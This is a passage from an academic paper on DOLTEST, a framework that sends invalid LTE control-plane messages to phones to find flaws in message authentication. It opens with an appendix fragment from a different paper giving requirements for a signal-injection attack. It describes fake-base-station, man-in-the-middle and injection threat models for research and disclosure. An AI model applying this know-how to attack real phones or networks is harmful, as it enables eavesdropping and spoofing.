Nevertheless, there still exist several practical challenges.
First, there is currently no downlink sniffing tool for 5G net-
works to decode data traffic on either 5G-NSA or 5G-SA
networks. Second, there is no existing commercial SDR that
is capable of sniffing 5G radio signals; existing commercial
SDRs only support up to sub-6 GHz. Furthermore, the wider
bandwidth of 5G networks increases the volume of traffic to
monitor on the PDCCH and PDSCH channels; thus, the adver-
sary has to leverage a higher computational power to capture
traffic. We believe that these challenges will be resolved soon
as the advancement of SDR technology [27, 53, 58] acceler-
ates, and downlink sniffing software is being developed.

E Requirements of End-to-End Attack
Our end-to-end attack shares two requirements with the orig-
inal signal injection attack [55]: 1) precise time/frequency
synchronization, and 2) 3 dB higher signal strength. First, the
adversary has to synchronize their FBS to a legitimate eNB,
to which a target UE is connected currently, in the time and
frequency domain. This is because the adversary has to over-
write a malicious signal over the target UE’s dedicated region
in the resource grid precisely. For a stable attack, the adver-
sary can use a high-precision clock, such as a GPS disciplined
oscillator. Second, the adversary has to transmit a malicious
signal with a 3 dB higher strength compared to the one from
the legitimate eNB. The required signal strength can be cal-

culated as follows: Pa = 10(
3+20∗log10(

Da
Db

)

10 ) ·100 W , where Da denotes
the distance between the victim and FBS, Db indicates the
distance between the victim and legitimated eNB, and 100 W
is the eNB’s signal strength; we assume a free-space path
loss.
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Abstract
An implementation flaw in LTE control plane protocols at

end-user devices directly leads to severe security threats. In
order to uncover these flaws, conducting negative testing is a
promising approach, whose test case only contains invalid or
prohibited messages. Despite its importance, the cellular stan-
dard mostly focuses on positive test cases, producing many
implementation vulnerabilities unchecked, as evidenced by
many existing vulnerabilities. To fill this gap, we present
DOLTEST, a negative testing framework, which can compre-
hensively test an end-user device. Enumerable test cases with
a deterministic oracle produced from detailed specification
analysis make it suitable to be used as a standard to find imple-
mentation vulnerabilities. We uncovered 26 implementation
flaws from 43 devices from 5 different baseband manufactur-
ers by using DOLTEST, demonstrating its effectiveness.

1 Introduction
Despite the passage of 13 years since the first release, long-
term evolution (LTE) remains the dominant protocol over
the newly implemented 5G network. Recent reports show
nearly 6 billion LTE subscriptions worldwide, whereas 5G
subscriptions only exceed 0.4 billion [20, 25]. Additionally,
most 5G-capable devices still support the LTE protocol, owing
to backward compatibility needs and slow 5G standalone
(SA) mode deployment, compared to non-standalone (NSA)
mode [26].

LTE security remains critical because it provides privacy-
sensitive data plane services, such as voice calling, short mes-
sage services (SMS), and internet access. For these data plane
services to work efficiently and safely, the LTE control plane
supports basic control operations, such as security control,
mobility management, and authentication. Thus, any insecuri-
ties related to the control plane can affect the confidentiality,
integrity, and availability in the data plane.

For LTE security, discovering implementation vulnerabil-
ities is as important as eliminating standard (design) vul-

∗These two authors equally contributed.

nerabilities. Even though researchers have uncovered sub-
stantial design flaws in the LTE control plane [17, 29, 30,
32, 36, 38, 40, 41, 49, 51–53], it does not necessarily lead
to secure implementations. Implementation vulnerabilities
have been continuously reported, including memory corrup-
tions [22, 34, 42, 43] and non standard-compliant vulnerabil-
ities [16, 27, 36, 43, 46, 48, 50]. Although the former mainly
originates from development mistakes, the latter involves the
nature of the LTE standard document (specification); it is
written in a natural language rather than a formal language,
resulting in several ambiguities. Exacerbating the issue, the
specification only provides positive testing specifications (i.e.,
conformance test suites [8, 9]) that mostly verify positive
cases to see if valid messages are correctly handled. In other
words, the conformance test mostly ignores "negative test-
ing", which examines if invalid or prohibited messages are
appropriately handled. Thus, this may leave many implemen-
tation vulnerabilities unchecked.

For this reason, previous studies have attempted several
approaches to uncover implementation vulnerabilities. Earlier
works focused on a few prohibited messages to check whether
devices drop these messages via manual testing [45,52]. Rup-
precht et al. [48] proposed the first testing framework to deter-
mine whether prohibited algorithms can be selected in devices.
LTEFuzz [36] presented the security testing system that ex-
amines the message authentication logic for various control
plane messages in UEs and network equipment. Despite their
successes in discovering implementation vulnerabilities, pre-
vious works still fail to comprehensively cover negative cases
that are explicitly prohibited by specification. This is because
they rely on only a small part of specification. We believe that
manual, yet detailed efforts to understand the specification
are unavoidable because the specification, written in informal
and ambiguous forms, represents 13 years of LTE history,
including endless discussions among 3GPP representatives.

In this paper, we propose DOLTEST, a negative testing
framework for LTE, which can comprehensively test a user
equipment (UE) (i.e., devices) based on specification. Unlike
other works, it supports an enumerable number of test cases
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with a deterministic oracle that describe standard-compliant
behaviors for each negative test case. Our approach inherently
involves a significant amount of manual efforts to analyze
the specification to find implementation flaws that are not
compliant with it.

Despite our best efforts, it is nearly impossible to fully
understand the specification due to its ambiguities and high
complexity. To address this issue, DOLTEST uses the fol-
lowing approaches. First, we re-define UE states based on
a security context, which changes UE’s protocol flows. Sec-
ond, with respect to this new definition, we generate a guide-
line by carefully analyzing the specification. The guideline
is a manually-written rule that specifies message types and
contents to generate negative test cases. To tame ambigui-
ties in the specification, DOLTEST generates test cases over-
approximately from the guideline. We then run negative test-
ing with our initial test cases against various UEs (i.e., 43
UEs). Our basic expectation is that every test case should
be silently dropped because the guideline is designed to pro-
duce only negative cases. If any UE does not silently drop a
certain case, we re-check the specification and even discuss
with a 3GPP representative to confirm a standard-compliant
behavior. As a result, we can refine these over-approximated
test cases to obtain enumerable negative test cases with the
deterministic oracle. Such a procedure for building test cases
and oracle is labor-intensive; however, this is a one-time cost,
and other implementations can easily adopt DOLTEST with-
out re-spending such efforts that we already put. Finally, we
hope that our test suite could be standardized to fill the gap of
negative testing in conformance specification.

Using DOLTEST, we tested 43 cellular devices (from seven
device manufacturers that use baseband processors from the
top five major baseband manufacturers). We generated a total
of 1,848 test messages considering the abstracted UE states.
Via manual root cause analysis, we found 26 implementation
flaws, of which 22 were not previously reported. These im-
plementation flaws can directly lead to critical vulnerabilities
such as eavesdropping, authentication bypass, or informa-
tion leakage. We validated attack scenarios by exploiting the
above vulnerabilities, including network identity & time zone
spoofing, SMS injection, and traffic eavesdropping.

We also discuss our experience analyzing ambiguities in
specifications. First, we show a few cases, from which we
were not able to define the standard-compliant behavior even
from the specification. We report our discussion on three
ambiguity issues with a representative from 3GPP. Second, we
report a few example cases, where the specification does not
clearly define the UE’s behavior, leading to deviant behaviors
among our test UEs. Later, we show how such behavior can
be used to fingerprint baseband chipsets. Finally, considering
the size of the specification, one may think that the use of
NLP (Natural Language Process) could be useful to solve
our problem. We discuss why this could be challenging, even
with the recent progress in NLP technologies.

eNB EPCUE
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Uplink

MME HSS

IP
NAS

RRC

Layer 2 
(MAC)

Layer 1 
(PHY)

AP

BP

Control plane 

Data plane 

S-GW P-GW Internet
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Figure 1: LTE network architecture

Contributions. DOLTEST is the first comprehensive neg-
ative testing framework for LTE downlink implementa-
tions to find non standard-compliant vulnerabilities in UEs.
DOLTEST supports an enumerable number of test cases with
a deterministic oracle that describes standard-compliant be-
haviors for each negative test case through the manual analysis
on the specifications of NAS and RRC. Using a total of 1,848
test cases, we tested 43 cellular devices spanning 5 major
baseband manufacturers to uncover 26 implementation flaws,
including 22 previously unknown ones. Furthermore, we dis-
cuss our experience analyzing ambiguities in the specification
in detail.
Scope. DOLTEST focuses on finding implementation vulnera-
bilities for downlink message processing in UEs. In particular,
DOLTEST aims at finding non standard-compliant bugs for
message authentication, without considering standard vulnera-
bilities or memory corruptions. DOLTEST focuses on control
plane messages in LTE (i.e., NAS and RRC). DOLTEST also
adopts generic adversarial models of LTE network, which
have no knowledge of cryptographic keys to bypass integrity
checks in LTE.
Responsible Disclosure. We have responsibly disclosed all
vulnerabilities that we found. We reported each to the corre-
sponding (device and baseband) manufacturer since 2019 and
are actively working with them for patching.
Availability. DOLTEST is publicly available on https://
github.com/SysSec-KAIST/DoLTEst.

2 Background

2.1 LTE Network Architecture
The LTE network comprises three components: a UE, evolved
Node B (eNB), and evolved packet core (EPC) (see Fig. 1).
UE refers to any device located at the edge of a cellular net-
work that provides voice and data cellular services to end-
users. It embeds an application processor (AP) that handles
the operating system and application services, and a baseband
processor (BP) that is responsible for mobile communications,
including radio/digital signal processing, identity manage-
ment, cryptographic protection, and network authentication.
eNB provides a wireless connection between the UE and the
EPC as a base station. Furthermore, for secure and reliable
cellular service, it manages radio resources and wireless con-
nections while offering confidentiality and integrity protection
to control plane messages and user plane data for each UE
using a dedicated Radio Resource Control (RRC) protocol.
EPC comprises a mobility management entity (MME) for
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user authentication and key/session/identity management,
gateways (GW) for managing IP data traffic, and a home
subscriber server (HSS) for storing the authentication infor-
mation of the mobile subscribers (e.g., international mobile
subscriber identity (IMSI) and international mobile station
equipment identity (IMEI)). In particular, the MME communi-
cates with the UE via the non-access-stratum (NAS) protocol.

2.2 Control Plane Operation
Attach procedure. The ATTACH procedure is the mandatory
initial process for a UE to use cellular services when it is
powered on or returns from airplane mode. The ATTACH pro-
cedure comprises several NAS and RRC procedures (Fig. 2).
Initially, the UE establishes a radio connection with an eNB
by exchanging RRC Connection Request-Setup messages. Sec-
ondly, the MME and UE establish the NAS security context
by performing the EMM common procedures (i.e., identifi-
cation, authentication, and security mode control). Note that
these procedures are initiated by the MME. In the identifica-
tion procedure, the MME asks the UE to send its identifier
by exchanging Identity Request-Response messages. In the au-
thentication and key agreement (AKA) procedure, the UE
and the MME mutually authenticate each other by exchang-
ing Authentication Request-Response. The MME then negoti-
ates the security algorithms used for encryption and integrity
protection by exchanging NAS Security Mode Command-Complete.
After establishing a security context, NAS messages are en-
crypted and integrity protected. Thereafter, the eNB and
the UE establish the RRC security context by exchanging
RRC SecurityModeCommand-Complete. Finally, the MME sends an
Attach Accept message to inform that the Attach Request is
accepted. This involves the Evolved Packet System (EPS)
bearer activation, which is required for the data plane service.
After the UE replies with Attach complete message, the ATTACH

procedure completes.
Control plane message structure. Control plane messages
comprise three parts: message types, information elements
(IEs), and security components. Each message type has
its own functional purposes within the control plane pro-
cedure. For example, an Identity Request message type is
used by the NAS identification procedure, and the RRC

FBS attacker MitM attacker Signal injection attacker

Figure 3: Threat models in LTE

UEInformationRequest message type is sent by eNB to request
UE reports. Depending on the message type, a message can
contain a single IE or multiple IEs. IEs carry certain values
according to the defined length and the value type. When the
message is constructed, it is encapsulated by security com-
ponents that are used for integrity protection and encryption.
These include a security header type, a message authenti-
cation code (MAC), and a sequence number. The security
header type defines the level of protection in accordance with
the following values: 0–no security protection, 1–integrity
protected, and 2–Integrity protected and ciphered.1 Note that
messages having security header type 0 are referred to as plain,
unprotected, or unauthenticated messages, whereas messages
having other security header types (1-5) are referred to as
protected or authenticated if they have a valid MAC. The mes-
sage in Fig. 2 shows the message type as 0x55 indicating that
this is an Identity Request, and the IE value as 0x02 meaning
that the requested identity type is IMEI. Because the security
header type has a value of 1, the message contains a MAC
and sequence number to provide integrity protection.

2.3 Attack Models for UE in LTE
There are three representative active attack models in LTE net-
work: Fake base station (FBS), Man-in-the-Middle (MitM),
and signal injection Fig. 3. Because the adversaries in all
three threat models have no valid cryptographic key of the
victim, they can craft only plain messages or messages with a
wrong MAC value. However, since the FBS attacker cannot
help a UE to establish the security context with the network,
it can send messages to the victim UE only before AKA pro-
cedure, whereas MitM and signal injection attacker can send
messages even after AKA procedure. The operational logics
of the attack models are detailed in App. A.

3 Problems of Prior Negative Testing
3.1 Lack of Negative Testing in Specification
Currently, conformance specification [8] is used to test UE im-
plementations. This specification focuses on UE’s correct be-
haviors; the UE handles valid control plane messages properly.
This mainly entails positive testing to handle non-erroneous
cases. Unfortunately, the specification rarely includes invalid
or prohibited messages (i.e., negative testing) although these
messages are crucial for security. For example, if the UE
blindly accepts messages without authentication, it can lead to
serious attacks such as impersonation or information leakage.
Therefore, it is important to test whether a UE successfully

1Security header type values 3, 4, 5, and 12 are dedicated for certain
message types [4].

USENIX Association 31st USENIX Security Symposium    1327



drops such invalid messages related to security.
To demonstrate that the existing conformance specification

has insufficient negative cases for security, we count the num-
ber of test scenarios that explicitly define the corresponding
action to the message having prohibited IE/value or the mes-
sage without integrity protection in the current conformance
specification [8, 9]. We examined the specification of version
15.5.0. Among 993 test scenarios, we found that only 14 nega-
tive test cases; 3 and 11 cases are related to RRC and NAS, re-
spectively. Even worse, the existing test scenarios only cover
limited message types. For example, in RRC, the conformance
testing covers only two message types for security. These sce-
narios check whether 1) the UE uses a correct security algo-
rithm for integrity check and encryption (SecurityModeCommand)
and 2) the UE discards the UECapabilityEnquiry message that
has an invalid MAC. Moreover, these test scenarios fail to
cover 1) unsafe behaviors explicitly prohibited by the specifi-
cation, and 2) known implementation vulnerabilities reported
by previous works [36, 45, 48, 52].

3.2 Limitations of Previous Works
Although there have been various approaches [36, 45, 48, 52]
for negative testing to discover vulnerabilities in UE imple-
mentation, they all have the following limitations.
(1) Stateless testing. Existing works only consider limited
states in LTE network. In particular, they only consider states
where the FBS attacker has a chance to transmit the adver-
sarial messages to the UE (i.e., before establishing a security
context). However, recent works have shown successful at-
tack scenarios using new threat models, such as MitM [49,53]
and signal injection [59]. Such attackers are more powerful
to transmit adversarial control plane messages even after the
UE establishes its security context. Considering that the UE’s
operation is stateful, and the advanced threat model can send
message at any state of UE, stateful negative testing is re-
quired. Unfortunately, existing techniques fail to reflect such
powerful attackers in their negative testing.
(2) Limited coverage in negative messages. Existing works
only focus on limited components in building negative mes-
sages. Remember that the control plane message consists of
three parts: message type, IEs, and security components.Due
to its large search space, the state-of-the-art tool, LTEFuzz,
decides to mutate its IEs by randomly substituting values
from commercial network logs. This approach is effective
to avoid nonsense values that will be early-rejected. How-
ever, these real-world logs are network-dependent; they never
contain prohibited messages or rarely include infrequently
used messages by the network. For example, Security Mode

Command messages in commercial networks never contain the
security algorithms, EIA4–EIA7, whose behaviors are unde-
fined and reserved for future extension. In addition, it would
hardly contain the prohibited security algorithm, EIA0 (null
integrity). Both cases are important to discover an integrity
bypass vulnerability [48]. Unfortunately, LTEFuzz fails to

explore messages that ordinary networks would not transmit.

4 Overview
4.1 Goals
The main goal of DOLTEST is to build a negative testing
framework that 1) can test a UE comprehensively based on
specification 2) using deterministic oracle that can interpret
test results against 3) enumerable test cases. We hope that our
test framework could be standardized to complement the lack
of negative testing in conformance specifications.
Comprehensive testing. DOLTEST should have comprehen-
sive test cases, to thoroughly examine the prohibited or invalid
situations that the UE can encounter. To this end, it needs to
consider both states and test messages simultaneously because
each message’s behavior depends on the current state of the
UE. Moreover, unlike other works, DOLTEST should con-
sider every part of message components: message type, IE,
and security components. It enables DOLTEST to reflect the
most powerful adversary from the Dolev-Yao model [19]; the
adversary can overhear, intercept, and synthesize any message
and is only limited that she has no valid cryptographic key
of the victim. This includes all existing attacks in a cellular
network such as FBS, MitM, and signal injection.
Deterministic oracle. DOLTEST should support determin-
istic oracle for each test case to device which behavior is
standard-compliant. This is essential for a standardizable test
suite to understand the correct behavior for the test case with-
out any exception.
Enumerable test cases. Finally, we want DOLTEST to gen-
erate only an enumerable number of test cases. This property
allows developers to efficiently test their implementations and
to easily understand the root causes of discovered bugs. Thus,
DOLTEST is desired to choose the significant ones among
nearly infinitely many candidates for negative test cases.

4.2 Challenges in Negative Testing
To achieve the previously mentioned goals, we need to address
the following challenges.
C1: Security-irrelevant state definition in specification.
To fully evaluate a UE’s security, negative testing should
consider its various states; however, existing definitions of
states are improper for security testing. In particular, the ex-
isting specification explicitly defines REGISTERED/DEREGISTERED

and IDLE/CONNECTED states for NAS and RRC, respectively. Un-
fortunately, these definitions only describe UE connectivity
without considering their security contexts. Moreover, speci-
fications also describe implicit states to differentiate UE’s be-
havior based on security contexts. For instance, a UE should
not reply to an Identity Request that asks for IMEI before
the security activation, implying implicit states. However, be-
cause of this implicitness, manufacturers implement these
states arbitrarily as long as they can pass conformance test
specifications. In a nutshell, existing definitions of both ex-
plicit and implicit states make negative testing hard to 1)
enumerate test cases for stateful security testing, and 2) test
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multiple UEs regardless of their underlying implementations.
C2: Non-enumerable negative cases. It is infeasible to test
all possible negative cases because there can be an enormous
number of different LTE messages. In particular, the RRC
and NAS have 118 message types, and each message has cor-
responding optional IEs with their values, whose numbers are
more than a thousand. Therefore, considering all components
— message types, IEs and values — they comprise a huge
number of combinations. Note that the number of candidates
becomes even larger if we perform stateful testing.

Meanwhile, each trial for negative testing in UEs is expen-
sive. Due to the nature of over-the-air testing, it is hard to
send a large number of test messages. Also, when UE fails
the attach procedure multiple times within a certain period, it
disconnects from the test network and suspends reconnection
for a few seconds. Note that such a case frequently happens
in the negative testing because it can interfere the normal
attach procedure due to their abnormal cases. Thus, we need
to carefully select only essential cases for negative testing.
C3: Ambiguities in complicate specification. It is difficult
to determine the UE’s correct behavior when receiving each
test case, even if we can enumerate all negative test cases.
This is mainly because the specification has many ambigu-
ous statements and descriptions of the operations are spread
over multiple documents, each of which are several hundred
pages long. For each test case, the oracle needs to determine
implementation correctness based on the corresponding be-
havior. However, we found that specification ambiguously
describes whether the test case is actually prohibited or in-
valid (§6.2). Additionally, the statements regarding a single
control procedure are defined at different places over multiple
documents. This makes developers misunderstand the specifi-
cation even with their best efforts. Therefore, building oracle
based solely on the specification is challenging, considering
the ambiguities and the size of the specifications.

4.3 Our Approach
A1: Defining security abstracted states. To address C1, we
abstract the implicit states relevant to security based on the
specification. In particular, we focus on parts in specification
that define the actions of the UE depending on its authenti-
cated states. Our key intuition comes from the fact that the
specification defines the acceptance of control plane messages
depending on the existence of a security context. Thus, the

four abstracted states are categorized by the existence of se-
curity context in RRC and NAS. Note that these states are
implementation-independent and are fully controllable at the
network, meaning that we can use this definition for negative
testing regardless of the underlying UE implementations.
A2: Specification-driven test message generation. To re-
duce the huge search space in negative testing, DOLTEST
generates test cases based on the specification, which includes
every essential point for negative cases. However, it is nearly
impossible to completely understand the specification due
to its size and complexity. To address this, we first extract
guidelines from the specification by carefully analyzing it,
and DOLTEST over-approximately generates test cases based
on the guidelines.
A3: Building deterministic oracle. We first assume that
negative test messages from DOLTEST should be silently
dropped. Then, we validate this by evaluating each message
to an extensive set of devices (see Tab. 6). If we discover
deviant behaviors from our assumption, we double-check the
specification to refine the initial oracle (§5.4). It is worth not-
ing that this refinement is possible since DOLTEST only has
an enumerable set of test cases.

5 Design
Fig. 4 illustrates the workflow of DOLTEST. Remember that
DOLTEST aims at constructing negative test cases with de-
terministic oracle. To this end, DOLTEST performs the fol-
lowing six steps. 1 First, we redefine the existing implicit
UE states as security abstracted states for negative testing
(§5.1). 2 With this new state definition, we construct rules
for test case generation, called guidelines, by carefully analyz-
ing the specification (§5.2.2). 3 Then, DOLTEST generates
test cases according to the guidelines. To address ambiguities
in the specification, DOLTEST enumerates test cases in an
over-approximated manner (§5.2.3). 4 DOLTEST conducts
preliminary over-the-air testing using the over-approximated
test cases. For testing, DOLTEST uses its test EPC/eNB for
transmitting a test message to a UE at a specific state. Through
the testing, DOLTEST collects the outputs (e.g., responses and
a UE’s internal logs) for each test UE. Using these outputs,
DOLTEST checks whether the test UE shows deviant behav-
iors (§5.3). 5 DOLTEST refines its preliminary test cases and
oracle. If a UE shows a deviant behavior in the preliminary
testing, we re-check the specification and even discuss with a
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Figure 5: An abbreviated state machine and security ab-
stracted states for RRC and NAS protocol

representative from 3GPP to understand a standard-compliant
behavior. 6 If this behavior is not buggy, we modify our
oracle or eliminate non-negative test cases from our over-
approximated set (§5.4). Otherwise, we manually analyze this
implementation flaw (§6) and its implications (§7). After this
refinement process, DOLTEST can finally obtain negative test
cases with deterministic oracle.

5.1 Security Abstracted States
We redefine states in the LTE network for negative testing
based on the presence of NAS and RRC security contexts:
NO-SC, N-SC, NR-SC, and REGI. As shown in Fig. 5, one
can define a UE’s state machine using control plane messages
from the network (left side). However, this representation
can incur a state explosion if we assume that a UE can re-
ceive an arbitrary message in any state. Note that this is a
valid assumption in adversarial settings. Moreover, this state
machine is independent of the existence of security contexts.
Thus, DOLTEST newly defines a UE’s state based on security
contexts (right side in Fig. 5). This security abstracted state
allows DOLTEST to explore different authentication logic,
which is changed by the existence of security contexts. In the
following, we discuss each state in our new definition.
• NO-SC: In this state, only an initial radio connection is

established between the UE and eNB without any security
context. Therefore, all control plane messages in this state
remain unprotected.

• N-SC: After completing the AKA procedure, a UE enters
this state, and the NAS security context is established. In
this state, all the NAS messages exchanged between them
are protected. However, RRC messages are still unprotected
because the RRC security context is not yet established.

• NR-SC: The UE enters this state after RRC security con-
text is established alongside the NAS security context. Thus,
all RRC and NAS messages are protected in this state. No-
tably, an FBS attacker cannot attack a UE in this state, as
she cannot help the UE to establish the security context
with the network.

• REGI: The UE finally enters this state when it completes
the entire registration process with the LTE network. This
state is the same with REGISTERED state defined in the speci-

Table 1: Abstracted states
NO-SC N-SC NR-SC REGI

NAS security context 7 3 3 3
RRC security context 7 7 3 3

ATTACH accomplishment 7 7 7 3
Reflected Threat model F, M, I F, M, I M, I M, I
∗ F: FBS, M: MitM, I: Signal Injection

fication. A UE in this state is successfully established as a
data bearer (EPS bearer); hence, it can use cellular services
such as calling, and data services.

Compared to the existing explicit or implicit state definition,
this new definition entails the following properties:
Security-oriented. These abstracted states reflect the nature
of LTE security, where the existence of different security
contexts allows different authentication logic for control plane
messages. To comprehensively evaluate such logic, our first
three states (i.e., NO-SC, N-SC, and NR-SC) reflect the
implicitly-defined states of NAS/RRC with various security
contexts. We further consider the state, REGI, to reflect the
explicit state, REGISTERED, in the specification. Although it
has the same security contexts with NR-SC, it is reasonable
to consider REGI specially because it has unique behaviors
for certain messages defined by the specification. Tab. 1 shows
how each threat model is associated with the abstracted states.
Implementation agnostic. This new definition for abstracted
states helps us to accomplish implementation-agnostic testing.
As these states reflect fundamental authentication procedures
for LTE, we can explicitly control transitions between states
by following standardized LTE authentication steps. For in-
stance, we can change a UE’s state from N-SC to NR-SC by
sending an RRC SecurityModeCommand message from our testing
network. Therefore, DOLTEST enables stateful testing for
multiple devices regardless of implementation (§5.3).

5.2 Specification-driven Message Generation
DOLTEST generates test messages that are invalid or prohib-
ited by specification in a selective yet approximated manner.
Basically, our approach is best-effort; as shown in Fig. 4, we
first carefully analyze specifications to build a rule for test
case generation, called a guideline.

5.2.1 Manual Specification Analysis

We manually read the entire RRC and NAS specification to
create guidelines. In particular, we focused on statements re-
lated with message authentication, because DOLTEST aims
at discovering security issues in LTE (please see our GitHub
repository for the representative statements used to make
guidelines [55]). However, these statements are not solely suf-
ficient; we also need to refer to other parts of the specification
to create guidelines (e.g., need to understand corresponding
IEs for messages).

To review our analysis, we leverage two auxiliary methods.
First, we rechecked the paragraphs around the security-critical
words — ‘shall not’, ‘security activation’, and ‘integrity pro-
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tection’ —. These words are essential to describe message
authentication, which DOLTEST focuses on. Second, we com-
pared different versions of the specification. This is based on
our intuitions that 1) revision could happen due to security
patches, and 2) new features are likely to have flaws during
implementing them.

Despite our best efforts, it is nearly impossible to com-
pletely understand the specification. Therefore, the guide-
line allows to specify ambiguities, and DOLTEST generates
test cases by over-approximately interpreting such ambigu-
ities. This over-approximation often leads to include excep-
tions in its test cases (i.e., non-negative test cases); therefore,
DOLTEST re-validates these cases while constructing the or-
acle (§5.4). Unfortunately, DOLTEST still cannot guarantee
any completeness, which will be discussed in §8.

5.2.2 Guideline generation

We carefully analyze the specification and make guidelines for
negative test case generation. The guidelines are handcrafted
rules for test case generation that include every component
for test cases, which consist of message type, IE and its val-
ues, security components (security header type and MAC),
and states. To address ambiguities in the specification, the
guideline allows to specify a wildcard for the component that
specifies arbitrary value. This procedure to make guidelines
is easier than understanding the specification completely.
Message type selection. We first need to choose message
types for guidelines. As described in §1, we aim at evaluat-
ing security authentication in UEs; therefore, we focus on
the messages that the UEs should not accept without valid
security protection (i.e., integrity protection). In other words,
we exclude messages that are not protected by design (i.e.,
plain). As a result, we consider 14 message types for testing
both NAS and RRC, which can be found in Tab. 3.
Construction. For each message type, we generate guide-
lines for negative test case generation. To this end, we first
carefully analyze the specification and identify statements
that explicitly prohibit certain messages. We then generate
guidelines manually by transforming these statements. We
have three rules for this transformation.
• If specification does not explicitly mention a certain compo-

nent, the guideline adds all possible values to its candidates
(i.e., wildcard).

• If specification defines invalid or prohibited values for a
component, the guideline adds them to its candidates.

• If specification defines allowed values for a component, the
guideline adds its complement set to its candidates.2

As a result, we generate 17 guidelines from the specifica-
tion (Tab. 5).
Example. Fig. 6 shows how we generate a guideline from
specification using Identity request as an example. As shown
in the topmost part of Fig. 6, the specification only allows

2For example, as shown in Tab. 5, if EIA1, EIA2, EIA3 are allowed, we
add test cases for EIA0 and EIA 4 to 7.

Except the messages … below, no NAS signalling messages shall be processed by the UE…
unless the network has established secure exchange of NAS messages… 
…
- Identity request ((if requested identification parameter is IMSI)

Guideline
(§5.2.1)

Specification

Over-
approximation

(§5.2.2)

State Security Header Type Message Type IE Value

* * Identity Request Identity Type 2 not IMSI
MAC

No-SC 0 (no integrity protected) Identity Request Identity Type 2 0 (reserved) plain

*

No-SC 1 (integrity protected) Identity Request Identity Type 2 0 (reserved) plain
No-SC 0 (no integrity protected) Identity Request Identity Type 2 2 (IMEI) plain
No-SC 0 (no integrity protected) Identity Request Identity Type 2 0 (reserved) broken

N-SC 0 (no integrity protected) Identity Request Identity Type 2 0 (reserved) plain

Figure 6: The guideline for the Identity Request test messages.
Note that the ‘*’ indicates the wildcard.

specific messages to be processed by the UE without integrity
check. One of such messages is Identity request; it has an ad-
ditional restriction that the message’s requested identification
parameter (i.e., Identity Type 2) should be IMSI, whose value
is 1. According to the rules described above, we formulate
a guideline for Identity request. This guideline has a com-
plement set for Identity Type2 to exclude the specified value
(IMSI) from its candidates. Moreover, we set arbitrary val-
ues (i.e., wildcards) for remaining components: state, security
header type, and MAC. This reflects the above specification;
it says that Identity request without IMSI should be always
protected. In other words, a UE should not accept such a mes-
sage even with any combination of the remaining components.
Therefore, DOLTEST considers their all possible combina-
tions to comprehensively evaluate a UE’s authentication logic.

As another example, the fourth guideline in Tab. 5 is de-
rived from the statement “... the E-UTRAN may configure
the UE to perform measurement reporting, but the UE only
sends the corresponding measurement reports after success-
ful security activation.” This configuration is handled by an
RRCConnectionReconfiguration message with the measConfig IE.
Therefore, the guideline is used for validating whether the UE
checks integrity correctly with this message. To understand
this message, one should also look procedure description on
measurement configuration (clause 5.5) and message structure
(clause 6) in [7].

5.2.3 Over-approximated test case generation

After finishing the guideline generation, DOLTEST enumer-
ates every test message according to the guidelines, as shown
in Fig. 6. In particular, for making a test case, DOLTEST
chooses one of the candidate values in each component.
For information elements and security header components,
DOLTEST uses possible values defined in [4] and [3]. For
MAC, DOLTEST uses zero (i.e., no integrity) and random
(i.e., broken integrity) MAC for their candidates. This step
is fundamentally over-approximation because there may be
some exceptions in our enumerations, which are not truly neg-
ative messages. DOLTEST can discover these exceptions by
observing the behaviors of multiple implementations, which
are discussed in §5.4. Finally, we generate 1,848 test cases in
total from 17 guidelines, which are shown in Tab. 5.
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5.3 Over-the-Air Testing
DOLTEST conducts the generated test cases using its over-
the-air testing framework.
Testing environment. As shown in Fig. 4, over-the-air test-
ing is composed of the test EPC/eNB and the test UE. To
implement the test EPC/eNB, we use a modified version of
srsLTE [24] (release 19_09) in combination with an USRP
B210 as software-defined radio. The test UE is equipped with
a programmable SIM card (ISIM-SJA2 or SIM-SJS1-4FF).
It is connected to the testing framework, which uses the di-
agnostic message (DM) monitoring tool [28, 58] to obtain
changes in baseband and Android Debug Bridge (ADB) [11]
to obtain system-wide changes. During the test case execu-
tion, the radio interface and test UE are encapsulated into a
Faraday case [54] to avoid any interference to the commercial
network and users.
Testing procedure. For each test case, which consists of a
test message and an abstract state, DOLTEST first moves the
testing UE’s state to the target state, sends the test message,
and collects responses for finding bugs. To change the UE’s
state, DOLTEST follows standard authentication procedures
in LTE; the EPC/eNB sends 1) Security Mode Command in NAS
and RRC for N-SC and NR-SC, respectively, and 2) Attach

Accept message for REGI. Then, the EPC/eNB sends the test
message to UE, and DOLTEST collects the UE’s responses
(if any), alongside with internal log messages retrieved via
DM and ADB. The responses and logs are then used to build
the deterministic oracle (§5.4).
Reducing state transition overhead. For efficiency in over-
the-air testing, DOLTEST can reduce repetitive state transi-
tion overhead. Remember that state transition happens only
by special messages such as Security Mode Command or Attach

Accept. In other words, we can assure a UE’s state remains the
same if it accepts any message that is not one of these special
ones. Using this property, DOLTEST makes a UE to execute
multiple messages consecutively without going back to the
initial state, NO-SC. This makes DOLTEST exempt from a
time-consuming procedure that reboots the UE by invoking
airplane mode at every test case execution.

However, it does not mean that DOLTEST can send an
unlimited number of test messages at once. The specification
defines that every message should be processed in a specific
time slot; otherwise, a UE silently releases the connection and
increases its attempt counter. If this attempt counter exceeds
its threshold, the UE will stay in a disconnected state for
12 minutes (i.e., T3402 [4]), resulting the delay in testing.
Thus, DOLTEST limits the number of consecutive test cases.
Empirically, the current prototype of DOLTEST only sends
six messages in a session to avoid this issue.
Testing time. DOLTEST requires several hours to test all
1,848 test messages due to its over-the-air testing. We ob-
served that one session took about 10 seconds, and the overall
testing took 8 hours on average; this testing time varies over

the tested devices. There are several reasons for such large
time consumption. First, DOLTEST needs to wait for seconds
to determine whether the UE does not respond to a test mes-
sage. One of the most common reactions against negative
messages is silently rejecting the messages. To distinguish
this from a slowdown in delivering responses, we use a time-
out — 2 seconds in our prototype — which delays the overall
testing. Second, the UE occasionally stops reconnecting to
the testing framework after disconnection. This situation lasts
for a few minutes due to the radio environment or internal
logic of the UE. To escape from it, we sometimes manually
invoked the airplane mode to reset. This idle time occupies
over 70% of the overall testing.

5.4 Deterministic Oracle Building
DOLTEST builds a deterministic oracle to overcome the
ambiguities in understanding specification. In particular,
DOLTEST first makes initial assumptions and refine them
for building the oracle.
Initial assumptions. DOLTEST initially assumes that a UE
should silently drop all our test messages. This is because we
construct our test messages that are explicitly prohibited or
invalid based on the specification.
Refinement. DOLTEST refines a preliminary oracle based
on deviant behaviors in implementations. Below, we show our
refinement procedure based on the type of deviant behaviors.
• If a UE returns a normal response, it means either 1)

the UE has an implementation flaw or 2) the message is
exceptional in the specification. To confirm this, we inves-
tigate every part of the specification that defines how the
